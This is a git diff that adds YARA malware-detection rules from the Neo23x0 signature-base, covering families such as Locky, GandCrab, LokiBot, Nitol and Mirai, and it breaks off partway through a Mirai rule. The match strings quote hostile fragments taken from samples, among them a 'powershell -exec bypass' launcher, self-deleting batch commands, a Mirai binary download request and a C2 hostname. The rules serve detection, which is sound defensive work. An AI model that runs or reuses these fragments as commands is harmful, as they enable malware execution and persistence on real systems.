+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-03-03"
+      hash1 = "cb9a2f77868b28d98e4f9c1b27b7242fec2f2abbc91bfc21fe0573e472c5dfcb"
+      id = "704baf41-9718-537f-9456-381a9f42fb97"
+   strings:
+      $s1 = "fgjfcn8456fgjhfg89653wetwts" fullword ascii
+      $op0 = { 33 c0 80 34 30 03 40 3d e6 21 00 00 72 f4 b8 e6 } /* Opcode */
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 600KB and 1 of them )
+}
+
+rule Kriskynote_Mar17_3 {
+   meta:
+      description = "Detects Kriskynote Malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-03-03"
+      hash1 = "fc838e07834994f25b3b271611e1014b3593278f0703a4a985fb4234936df492"
+      id = "647fac4c-2326-5a68-9890-8236022c1548"
+   strings:
+      $s1 = "rundll32 %s Check" fullword ascii
+      $s2 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RecentDocs" fullword ascii
+      $s3 = "name=\"IsUserAdmin\"" fullword ascii
+      $s4 = "zok]\\\\\\ZZYYY666564444" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 2000KB and 2 of them )
+}
diff --git a/yara-Neo23x0/crime_locky.yar b/yara-Neo23x0/crime_locky.yar
new file mode 100644
index 0000000..ae223ab
--- /dev/null
+++ b/yara-Neo23x0/crime_locky.yar
@@ -0,0 +1,21 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-02-17
+	Identifier: Locky
+*/
+
+rule Locky_Ransomware {
+	meta:
+		description = "Detects Locky Ransomware (matches also on Win32/Kuluoz)"
+		author = "Florian Roth (Nextron Systems) (with the help of binar.ly)"
+		reference = "https://goo.gl/qScSrE"
+		date = "2016-02-17"
+		hash = "5e945c1d27c9ad77a2b63ae10af46aee7d29a6a43605a9bfbf35cebbcff184d8"
+		id = "ce61e01e-a9ce-54f4-bd2d-8acf1d5fbc30"
+	strings:
+		$o1 = { 45 b8 99 f7 f9 0f af 45 b8 89 45 b8 } // address=0x4144a7
+		$o2 = { 2b 0a 0f af 4d f8 89 4d f8 c7 45 } // address=0x413863
+	condition:
+		all of ($o*)
+}
diff --git a/yara-Neo23x0/crime_loki_bot.yar b/yara-Neo23x0/crime_loki_bot.yar
new file mode 100644
index 0000000..ecf4e12
--- /dev/null
+++ b/yara-Neo23x0/crime_loki_bot.yar
@@ -0,0 +1,46 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2018-02-14
+   Identifier: LokiBot Dropper
+   Reference: https://app.any.run/tasks/401df4d9-098b-4fd0-86e0-7a52ce6ddbf5
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule LokiBot_Dropper_ScanCopyPDF_Feb18 {
+   meta:
+      description = "Auto-generated rule - file Scan Copy.pdf.com"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://app.any.run/tasks/401df4d9-098b-4fd0-86e0-7a52ce6ddbf5"
+      date = "2018-02-14"
+      hash1 = "6f8ff26a5daf47effdea5795cdadfff9265c93a0ebca0ce5a4144712f8cab5be"
+      id = "64c45d91-4e18-5fd1-8d93-b5db4df7da29"
+   strings:
+      $x1 = "Win32           Scan Copy.pdf   " fullword wide
+
+      $a1 = "C:\\Program Files (x86)\\Microsoft Visual Studio\\VB98\\VB6.OLB" fullword ascii
+
+      $s1 = "Compiling2.exe" fullword wide
+      $s2 = "Unstalled2" fullword ascii
+      $s3 = "Compiling.exe" fullword wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 1000KB and $x1 or
+      ( $a1 and 1 of ($s*) )
+}
+
+rule LokiBot_Dropper_Packed_R11_Feb18 {
+   meta:
+      description = "Auto-generated rule - file scan copy.pdf.r11"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://app.any.run/tasks/401df4d9-098b-4fd0-86e0-7a52ce6ddbf5"
+      date = "2018-02-14"
+      hash1 = "3b248d40fd7acb839cc592def1ed7652734e0e5ef93368be3c36c042883a3029"
+      id = "83cd6225-eb6d-5d17-a751-51f20db9c7eb"
+   strings:
+      $s1 = "C:\\Program Files (x86)\\Microsoft Visual Studio\\VB98\\VB6.OLB" fullword ascii
+   condition:
+      uint16(0) == 0x0000 and filesize < 2000KB and 1 of them
+}
diff --git a/yara-Neo23x0/crime_mal_grandcrab.yar b/yara-Neo23x0/crime_mal_grandcrab.yar
new file mode 100644
index 0000000..d284a62
--- /dev/null
+++ b/yara-Neo23x0/crime_mal_grandcrab.yar
@@ -0,0 +1,14 @@
+import "pe"
+
+rule MAL_GandCrab_Apr18_1 {
+   meta:
+      description = "Detects GandCrab malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/MarceloRivero/status/988455516094550017"
+      date = "2018-04-23"
+      hash1 = "6fafe7bb56fd2696f2243fc305fe0c38f550dffcfc5fca04f70398880570ffff"
+      id = "ef7983cd-a7b3-5ce2-8cff-1bcf35bc6140"
+   condition:
+      uint16(0) == 0x5a4d and filesize < 800KB and pe.imphash() == "7936b0e9491fd747bf2675a7ec8af8ba"
+}
diff --git a/yara-Neo23x0/crime_mal_nitol.yar b/yara-Neo23x0/crime_mal_nitol.yar
new file mode 100644
index 0000000..88b4776
--- /dev/null
+++ b/yara-Neo23x0/crime_mal_nitol.yar
@@ -0,0 +1,31 @@
+
+import "pe"
+
+rule MAL_Nitol_Malware_Jan19_1 {
+   meta:
+      description = "Detects Nitol Malware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/shotgunner101/status/1084602413691166721"
+      date = "2019-01-14"
+      hash1 = "fe65f6a79528802cb61effc064476f7b48233fb0f245ddb7de5b7cc8bb45362e"
+      id = "5b9968a8-31ba-593b-9e01-b69a4e31fe65"
+   strings:
+      $xc1 = { 00 25 75 20 25 73 00 00 00 30 2E 30 2E 30 2E 30
+               00 25 75 20 4D 42 00 00 00 25 64 2A 25 75 25 73
+               00 7E 4D 48 7A }
+      $xc2 = "GET ^&&%$%$^" ascii
+
+      $n1 = ".htmGET " ascii
+
+      $s1 = "User-Agent:Mozilla/4.0 (compatible; MSIE %d.00; Windows NT %d.0; MyIE 3.01)" fullword ascii
+      $s2 = "User-Agent:Mozilla/4.0 (compatible; MSIE %d.0; Windows NT %d.1; SV1)" fullword ascii
+      $s3 = "User-Agent:Mozilla/5.0 (X11; U; Linux i686; en-US; re:1.4.0) Gecko/20080808 Firefox/%d.0" fullword ascii
+      $s4 = "User-Agent:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 1000KB and (
+         pe.imphash() == "286870a926664a5129b8b68ed0d4a8eb" or
+         1 of ($x*) or
+         #n1 > 4 or
+         4 of them
+      )
+}
diff --git a/yara-Neo23x0/crime_mal_ransom_wadharma.yar b/yara-Neo23x0/crime_mal_ransom_wadharma.yar
new file mode 100644
index 0000000..62b2f24
--- /dev/null
+++ b/yara-Neo23x0/crime_mal_ransom_wadharma.yar
@@ -0,0 +1,13 @@
+import "pe"
+
+rule MAL_Ransomware_Wadhrama {
+   meta:
+      description = "Detects Wadhrama Ransomware via Imphash"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2019-04-07"
+      hash1 = "557c68e38dce7ea10622763c10a1b9f853c236b3291cd4f9b32723e8714e5576"
+      id = "f7de40e9-fe22-5f14-abc6-f6611a4382ac"
+   condition:
+      uint16(0) == 0x5a4d and pe.imphash() == "f86dec4a80961955a89e7ed62046cc0e"
+}
diff --git a/yara-Neo23x0/crime_malumpos.yar b/yara-Neo23x0/crime_malumpos.yar
new file mode 100644
index 0000000..cc20855
--- /dev/null
+++ b/yara-Neo23x0/crime_malumpos.yar
@@ -0,0 +1,17 @@
+rule PoS_Malware_MalumPOS
+{
+    meta:
+        author = "Trend Micro, Inc."
+        date = "2015-05-25"
+        description = "Used to detect MalumPOS memory dumper"
+        sample_filtype = "exe"
+        id = "6d85c7fe-bf1b-53fb-b618-4b0f8b63cae4"
+    strings:
+        $string1 = "SOFTWARE\\Borland\\Delphi\\RTL"
+        $string2 = "B)[0-9]{13,19}\\"
+        $string3 = "[A-Za-z\\s]{0,30}\\/[A-Za-z\\s]{0,30}\\"
+        $string4 = "TRegExpr(exec): ExecNext Without Exec[Pos]"
+        $string5 = /Y:\\PROGRAMS\\.{20,300}\.pas/
+    condition:
+        all of ($string*)
+}
diff --git a/yara-Neo23x0/crime_malware_generic.yar b/yara-Neo23x0/crime_malware_generic.yar
new file mode 100644
index 0000000..521db8a
--- /dev/null
+++ b/yara-Neo23x0/crime_malware_generic.yar
@@ -0,0 +1,110 @@
+
+/* Malware ----------------------------------------------------------------- */
+
+rule TrojanDownloader {
+	meta:
+		description = "Trojan Downloader - Flash Exploit Feb15"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://goo.gl/wJ8V1I"
+		date = "2015/02/11"
+		hash = "5b8d4280ff6fc9c8e1b9593cbaeb04a29e64a81e"
+		score = 60
+		id = "d61f59ef-31a3-5e52-9525-61910bb150db"
+	strings:
+		$x1 = "Hello World!" fullword ascii
+		$x2 = "CONIN$" fullword ascii
+
+		$s6 = "GetCommandLineA" fullword ascii
+		$s7 = "ExitProcess" fullword ascii
+		$s8 = "CreateFileA" fullword ascii
+
+		$s5 = "SetConsoleMode" fullword ascii
+		$s9 = "TerminateProcess" fullword ascii
+		$s10 = "GetCurrentProcess" fullword ascii
+		$s11 = "UnhandledExceptionFilter" fullword ascii
+		$s3 = "user32.dll" fullword ascii
+		$s16 = "GetEnvironmentStrings" fullword ascii
+		$s2 = "GetLastActivePopup" fullword ascii
+		$s17 = "GetFileType" fullword ascii
+		$s19 = "HeapCreate" fullword ascii
+		$s20 = "VirtualFree" fullword ascii
+		$s21 = "WriteFile" fullword ascii
+		$s22 = "GetOEMCP" fullword ascii
+		$s23 = "VirtualAlloc" fullword ascii
+		$s24 = "GetProcAddress" fullword ascii
+		$s26 = "FlushFileBuffers" fullword ascii
+		$s27 = "SetStdHandle" fullword ascii
+		$s28 = "KERNEL32.dll" fullword ascii
+	condition:
+		$x1 and $x2 and ( all of ($s*) ) and filesize < 35000
+}
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-08-01
+   Identifier: IsmDoor
+   Reference: https://twitter.com/Voulnet/status/892104753295110145
+   License: http://creativecommons.org/licenses/by-nc-sa/4.0/
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule IsmDoor_Jul17_A2 {
+   meta:
+      description = "Detects IsmDoor Malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/Voulnet/status/892104753295110145"
+      date = "2017-08-01"
+      hash1 = "be72c89efef5e59c4f815d2fce0da5a6fac8c90b86ee0e424868d4ae5e550a59"
+      hash2 = "ea1be14eb474c9f70e498c764aaafc8b34173c80cac9a8b89156e9390bd87ba8"
+      id = "ea72a496-cbc8-56f6-a852-7af9761ea58e"
+   strings:
+      $s1 = "powershell -exec bypass -file \"" fullword ascii
+      $s2 = "PAQlFcaWUaFkVICEx2CkNCUUpGcA" ascii
+      $s3 = "\\Documents" ascii
+      $s4 = "\\Libraries" ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 300KB and 3 of them )
+}
+
+rule Unknown_Malware_Sample_Jul17_2 {
+   meta:
+      description = "Detects unknown malware sample with pastebin RAW URL"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/iqH8CK"
+      date = "2017-08-01"
+      hash1 = "3530d480db082af1823a7eb236203aca24dc3685f08c301466909f0794508a52"
+      id = "ce82b9eb-a9cb-5122-85dc-22794174c2f8"
+   strings:
+      $s1 = "4System.Web.Services.Protocols.SoapHttpClientProtocol" fullword ascii
+      $s2 = "https://pastebin.com/raw/" wide
+      $s3 = "My.Computer" fullword ascii
+      $s4 = "MyTemplate" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and all of them )
+}
+
+rule MAL_unspecified_Jan18_1 {
+   meta:
+      description = "Detects unspecified malware sample"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2018-01-19"
+      hash1 = "f87879b29ff83616e9c9044bd5fb847cf5d2efdd2f01fc284d1a6ce7d464a417"
+      id = "f3187c60-8fff-54de-9918-2fb2301f2d92"
+   strings:
+      $s1 = "User-Agent: Mozilla/4.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" fullword ascii
+      $s2 = "ping 192.0.2.2 -n 1 -w %d >nul 2>&1" fullword ascii
+      $s3 = "[Log Started] - [%.2d/%.2d/%d %.2d:%.2d:%.2d]" fullword ascii
+      $s4 = "start /b \"\" cmd /c del \"%%~f0\"&exit /b" fullword ascii
+      $s5 = "[%s] - [%.2d/%.2d/%d %.2d:%.2d:%.2d]" fullword ascii
+      $s6 = "%s\\%s.bat" fullword ascii
+      $s7 = "DEL /s \"%s\" >nul 2>&1" fullword ascii
+   condition:
+      filesize < 300KB and 2 of them
+}
diff --git a/yara-Neo23x0/crime_malware_set_oct16.yar b/yara-Neo23x0/crime_malware_set_oct16.yar
new file mode 100644
index 0000000..721e23b
--- /dev/null
+++ b/yara-Neo23x0/crime_malware_set_oct16.yar
@@ -0,0 +1,167 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2016-10-08
+   Identifier: Malware - October 2016
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Unspecified_Malware_Oct16_A {
+   meta:
+      description = "Detects an unspecififed malware - October 2016"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2016-10-08"
+      score = 80
+      hash1 = "d112a7e21902287e4a37112bf17d7c73a7b206e7bc81780fd87991c1519f38c8"
+      id = "f62ecf7e-2b66-5567-9bf3-3d3797bc582d"
+   strings:
+      $x1 = "%s\\system32\\%s.dll" fullword ascii
+      $x2 = "%SystemRoot%\\System32\\svch%s -k nets" fullword ascii
+      $x3 = "\\\\.\\pipe\\96DBA249-E88E-4c47-98DC-E18E6E3E3E5A" fullword ascii
+
+      $s1 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options" fullword ascii
+      $s2 = "boottemp.exe" fullword ascii
+      $s3 = "at \\\\%s %d:%d C:\\%s.exe" fullword ascii
+      $s4 = "cryptcom.dll" fullword ascii
+      $s5 = "Wininet.dll" fullword ascii
+      $s6 = "\\\\%s\\%s\\%s.exe" fullword ascii
+      $s7 = "%s%d.exe" fullword ascii
+      $s8 = "booter.exe" fullword ascii
+      $s9 = "\\\\%s\\pipe%s" fullword ascii
+      $s10 = "C:\\DelInfo.bin" fullword ascii
+
+      $op0 = { ae 44 00 00 cb 44 00 00 dc 44 00 00 f5 44 00 00 } /* Opcode */
+      $op1 = { ae 44 00 00 cb 44 00 00 dc 44 00 00 f5 44 00 00 } /* Opcode */
+      $op2 = { ee 11 74 cf 73 0b 91 c4 c9 57 b2 d9 36 86 a5 b4 } /* Opcode */
+   condition:
+      /* File Detection */
+      ( uint16(0) == 0x5a4d and filesize < 1000KB and (
+         2 of ($x*) or 3 of ($s*) or all of ($op*)
+      ) )
+      /* In Memory */
+      or ( 6 of them )
+}
+
+rule Sality_Malware_Oct16 {
+   meta:
+      description = "Detects an unspecififed malware - October 2016"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2016-10-08"
+      score = 80
+      hash1 = "8eaff5e1d4b55dd6e25f007549271da10afd1fa25064d7105de0ca2735487aad"
+      id = "7bf2a818-f7ee-587e-b22e-b557251d89e1"
+   strings:
+      $s1 = "Hello world!" fullword wide
+      $s2 = "[LordPE]" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 300KB and all of them )
+}
+
+rule Unspecified_Malware_Oct16_C {
+   meta:
+      description = "Detects an unspecififed malware - October 2016"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2016-10-08"
+      score = 80
+      hash1 = "a451157f75627b2fef3d663946c94ef7dacb58f08b31d0ec4c0a542a1c4e6205"
+      id = "fff98097-a19a-59aa-bece-837c75b0995c"
+   strings:
+      $s1 = "dUSER32.DLL" fullword wide
+      $s2 = "output.dll" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 5000KB and all of them )
+}
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2016-10-08
+   Identifier: Malware October 2016
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Bladabindi_Malware_B64 {
+   meta:
+      description = "Detects Bladabindi Malware using Base64 encoded strings"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2016-10-08"
+      hash1 = "dda668b0792b7679979e61f2038cf9a8ec39415cc161be00d2c8301e7d48768d"
+      id = "7f7023be-b6e1-5e1b-af8a-c413a5438ec8"
+   strings:
+      $s1 = "XHN5c3RlbTMyXA==" fullword ascii /* base64 encoded string '\system32\' */
+      $s2 = "RXhlY3V0ZSBFUlJPUg==" fullword ascii /* base64 encoded string 'Execute ERROR' */
+      $s3 = "dHJvamFuLmV4ZQ==" fullword ascii /* base64 encoded string 'trojan.exe' */
+      $s4 = "VXBkYXRlIEVSUk9S" fullword ascii /* base64 encoded string 'Update ERROR' */
+      $s5 = "RG93bmxvYWQgRVJST1I=" fullword ascii /* base64 encoded string 'Download ERROR' */
+   condition:
+      uint16(0) == 0x5a4d and filesize < 700KB and 1 of them
+}
+
+rule Dorkbot_Injector_Malware {
+   meta:
+      description = "Detects Darkbot Injector"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2016-10-08"
+      hash1 = "bc3c5ac7180c8ac21d6908d747aa6122154d2bb51bb99ff0e0b1c65088d275dc"
+      id = "b32986fe-d6f1-55f2-8d50-bc348b52fb49"
+   strings:
+      $s1 = "Enter an integer, a real number, a character and a string : " fullword ascii
+      $s2 = "ready to finish" fullword ascii
+      $s3 = "EYEnpw" fullword ascii
+      $s4 = "somewhere i belong" fullword ascii
+      $s5 = "Not all fields were assigned" fullword ascii
+      $s6 = "take down" fullword ascii
+      $s7 = "real number = %f" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 500KB and 6 of them )
+}
+
+rule Unspecified_Malware_Oct16_D {
+   meta:
+      description = "Detects unspecified malware - October 2016"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2016-10-08"
+      hash1 = "cd5f3bc0176a6803093ffdea6a7442c416e0d2945b6903063d17f5bb8d17519d"
+      id = "6908467c-1ed6-508d-9503-246dd26823e5"
+   strings:
+      $s1 = "C:\\file.exe" fullword wide
+      $s2 = "new.exe" fullword wide
+      $s3 = "passwordIterations" fullword ascii
+
+      $op0 = { 10 00 12 00 1a 00 05 00 01 00 01 00 01 00 10 00 } /* Opcode */
+      $op1 = { 41 32 00 36 00 62 00 34 00 32 00 65 00 37 00 62 } /* Opcode */
+      $op2 = { 3c 4d 6f 64 75 6c 65 3e 00 6e 65 77 2e 65 78 65 } /* Opcode */
+   condition:
+      uint16(0) == 0x5a4d and filesize < 1000KB and ( all of ($s*) or all of ($op*) )
+}
+
+rule Unspecified_Malware_Oct16_E {
+   meta:
+      description = "Detects unspecified Malware - October 2016"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2016-10-08"
+      hash1 = "28093385130b61f22920c0ce6e56de1f2cd8eef589bebe2af31f36f51f2b4d01"
+      id = "fffffe0c-e114-5648-96ea-dd692610e34c"
+   strings:
+      $s1 = "P3pORt" fullword ascii
+      $s2 = "msdownld.tmp" fullword ascii
+      $s3 = "TMP4351$.TMP" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 1000KB and all of them )
+}
diff --git a/yara-Neo23x0/crime_maze_ransomware.yar b/yara-Neo23x0/crime_maze_ransomware.yar
new file mode 100644
index 0000000..4164779
--- /dev/null
+++ b/yara-Neo23x0/crime_maze_ransomware.yar
@@ -0,0 +1,17 @@
+rule crime_win32_ransom_maze_dll_1 {
+   meta:
+      description = "Detects Maze ransomware payload dll unpacked"
+      author = "@VK_Intel"
+      reference = "https://twitter.com/VK_Intel/status/1251388507219726338"
+      tlp = "white"
+      date = "2020-04-18"
+      id = "873aea2b-2dd4-5682-b979-35e73fbc189f"
+   strings:
+      $str1 = "Maze Ransomware" wide
+      $str2 = "--logging" wide
+      $str3 = "DECRYPT-FILES.txt" wide
+
+      $tick_server_call = { ff ?? ?? 8b ?? ?? ?? ?? ?? ff d6 8b ?? 89 f9 50 ff ?? ?? ff d6 8d ?? ?? ?? 89 ?? ?? ?? 56 e8 ?? ?? ?? ?? 83 c4 04 b9 67 66 66 66 89 c5 f7 e9 89 d0 d1 fa c1 e8 1f 01 c2 8d ?? ?? 29 c5 56 e8 ?? ?? ?? ?? 83 c4 04 b9 56 55 55 55 89 c6 f7 e9 89 f9 89 d0 c1 e8 1f 01 d0 8d ?? ?? 29 c6 8b ?? 55 56 ff ?? ?? 85 c0 0f ?? ?? ?? ?? ?? 89 ?? ?? ?? 8b ?? ?? ?? ?? ?? 89 c5 50 ff d3 89 c6 ff ?? ?? ?? ff d3 8b ?? ?? ?? 01 f0 3d ff 03 00 00 0f ?? ?? ?? ?? ?? 55 ff ?? ?? ?? 68 a2 95 c3 00 53 ff ?? ?? ?? ?? ?? 83 c4 10 c6 ?? ?? ?? c6 ?? ?? ?? ?? }
+   condition:
+      ( uint16(0) == 0x5a4d and 3 of them ) or all of them
+}
diff --git a/yara-Neo23x0/crime_mikey_trojan.yar b/yara-Neo23x0/crime_mikey_trojan.yar
new file mode 100644
index 0000000..5853f3b
--- /dev/null
+++ b/yara-Neo23x0/crime_mikey_trojan.yar
@@ -0,0 +1,22 @@
+
+rule Gen_Trojan_Mikey {
+	meta:
+		description = "Trojan Mikey - file sample_mikey.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2015-05-07"
+		hash = "a8e6c3ca056b3ff2495d7728654b780735b3a4cb"
+		score = 70
+		id = "ff875436-4fed-5f20-a0a5-bfd146d93499"
+	strings:
+		$s0 = "nuR\\noisreVtnerruC\\swodniW\\tfosorciM\\ERAWTFOS" fullword ascii 
+						/* reversed string 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run' */
+		$x1 = "User-Agent:Mozilla/4.0 (compatible; MSIE %d.0; Windows NT %d.1; SV1)" fullword ascii
+		$x2 = "User-Agent:Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.0; MyIE 3.01)" fullword ascii
+		$x3 = "%d*%u%s" fullword ascii
+		$x4 = "%s %s:%d" fullword ascii
+		$x5 = "Mnopqrst Vwxyabcde Ghijklm Opqrstuv Xya" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and $s0 and 2 of ($x*)
+}
+
diff --git a/yara-Neo23x0/crime_mirai.yar b/yara-Neo23x0/crime_mirai.yar
new file mode 100644
index 0000000..eed8b11
--- /dev/null
+++ b/yara-Neo23x0/crime_mirai.yar
@@ -0,0 +1,181 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-10-04
+	Identifier: Mirai
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Mirai_Botnet_Malware {
+	meta:
+		description = "Detects Mirai Botnet Malware"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Internal Research"
+		date = "2016-10-04"
+      modified = "2023-01-27"
+		hash1 = "05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c"
+		hash2 = "05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c"
+		hash3 = "20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4"
+		hash4 = "2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69"
+		hash5 = "420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175"
+		hash6 = "62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6"
+		hash7 = "70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0"
+		hash8 = "89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147"
+		hash9 = "bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4"
+		hash10 = "c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f"
+		hash11 = "d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89"
+		hash12 = "f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5"
+		hash13 = "fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b"
+		id = "a678e9f7-d516-5bdb-962e-b9d39d8a64bb"
+	strings:
+		$x1 = "POST /cdn-cgi/" ascii
+		$x2 = "/dev/misc/watchdog" fullword ascii
+		$x3 = "/dev/watchdog" ascii
+		$x5 = ".mdebug.abi32" fullword ascii
+
+		$s1 = "LCOGQGPTGP" fullword ascii
+		$s2 = "QUKLEKLUKVJOG" fullword ascii
+		$s3 = "CFOKLKQVPCVMP" fullword ascii
+		$s4 = "QWRGPTKQMP" fullword ascii
+		$s5 = "HWCLVGAJ" fullword ascii
+		$s6 = "NKQVGLKLE" fullword ascii
+	condition:
+		uint16(0) == 0x457f and filesize < 200KB and
+		(
+			( 1 of ($x*) and 1 of ($s*) ) or
+			4 of ($s*)
+		)
+}
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-05-12
+   Identifier: Mirai
+   Reference: Internal Research
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Mirai_1_May17 {
+   meta:
+      description = "Detects Mirai Malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-05-12"
+      super_rule = 1
+      hash1 = "172d050cf0d4e4f5407469998857b51261c80209d9fa5a2f5f037f8ca14e85d2"
+      hash2 = "9ba8def84a0bf14f682b3751b8f7a453da2cea47099734a72859028155b2d39c"
+      hash3 = "a393449a5f19109160384b13d60bb40601af2ef5f08839b5223f020f1f83e990"
+      id = "ac85ee28-a01f-5c3d-a534-0c19a3dc92e7"
+   strings:
+      $s1 = "GET /bins/mirai.x86 HTTP/1.0" fullword ascii
+   condition:
+      ( uint16(0) == 0x457f and filesize < 5000KB and all of them )
+}
+
+rule Miari_2_May17 {
+   meta:
+      description = "Detects Mirai Malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-05-12"
+      super_rule = 1
+      hash1 = "9ba8def84a0bf14f682b3751b8f7a453da2cea47099734a72859028155b2d39c"
+      hash2 = "a393449a5f19109160384b13d60bb40601af2ef5f08839b5223f020f1f83e990"
+      id = "1c2cc98d-8ca5-5055-8f86-7f85c046ccd9"
+   strings:
+      $s1 = "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36" fullword ascii
+      $s2 = "GET /g.php HTTP/1.1" fullword ascii
+      $s3 = "https://%[^/]/%s" fullword ascii
+      $s4 = "pass\" value=\"[^\"]*\"" fullword ascii
+      $s5 = "jbeupq84v7.2y.net" fullword ascii
+   condition:
+      ( uint16(0) == 0x457f and filesize < 5000KB and 2 of them )
+}
+
+rule MAL_ELF_LNX_Mirai_Oct10_1 {
+   meta:
+      description = "Detects ELF Mirai variant"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2018-10-27"
+      modified = "2023-01-27"
+      hash1 = "3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe"
+      id = "7bb28f03-03ba-581a-bc03-bd09a52787d9"
+   strings:
+      $x1 = " -r /vi/mips.bushido; "
